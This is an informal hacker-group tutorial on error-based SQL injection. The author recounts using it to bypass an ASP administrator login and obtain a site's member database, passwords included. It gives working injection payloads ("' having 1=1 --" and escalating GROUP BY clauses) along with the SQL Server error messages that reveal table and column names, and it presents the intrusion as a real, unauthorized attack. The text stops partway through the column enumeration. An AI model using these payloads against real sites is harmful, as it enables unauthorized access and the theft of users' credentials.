Error based SQL Injection – a true story

By AnalyseR – GHS – Greek Hacking Scene

alienyser@gmail.com

Hi again.. This is about error based sql injection. Wtf is that? It means that we use the database's errors as footholds to step further. In this example i will use the process i used a couple of months ago to bypass a login prompt and get the whole member's (with passwords) database... I won't reveal any passwords or emails, they will be real but covered with asterisks for the reasons you know very well... So, here is our scenario.

You are in front of a login prompt that looks like this "**/Administrator/login.asp**". You need at least one username and its password. Allright, brute forcing is n00b, so we'll try SQL Injection. Since we talk about ERROR BASED sql injection, i won't cover the basics or the syntax here.. I suppose you have some basic knowledge. We start our "attack", so to speak, with a "having" clause in the username field for example (just type any letter for password, or just a dot). Like this one: **' having 1=1 --**

...and after a while...

> *Microsoft OLE DB Provider for ODBC Drivers error '80040e14'*
> *[Microsoft][ODBC SQL Server Driver][SQL Server]Column '**login.primarykey**' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.*
> */Administrator/login.asp, line 27*

boom...

We got our first error. Very very nice. As you can see, the first error we have here reveals our first foothold ;) login.primarykey is exactly what we need. A table name (login) and a column name (primarykey)... We continue our "attack" using the "GROUP BY" sql clause... Hmmm it'll look just like this: **' group by login.primarykey having 1=1 --**

Hit ENTER and...

> Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
> [Microsoft][ODBC SQL Server Driver][SQL Server]Column '**login.username**' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
> /Administrator/login.asp, line 27

Yeah :) that's right, we've found another column name and guess what... it's called "username". So, we continue the same way from now on to reveal all the column names in that table (login, remember?) For example the next step should be:
'group by login.primarykey, username having 1=1 --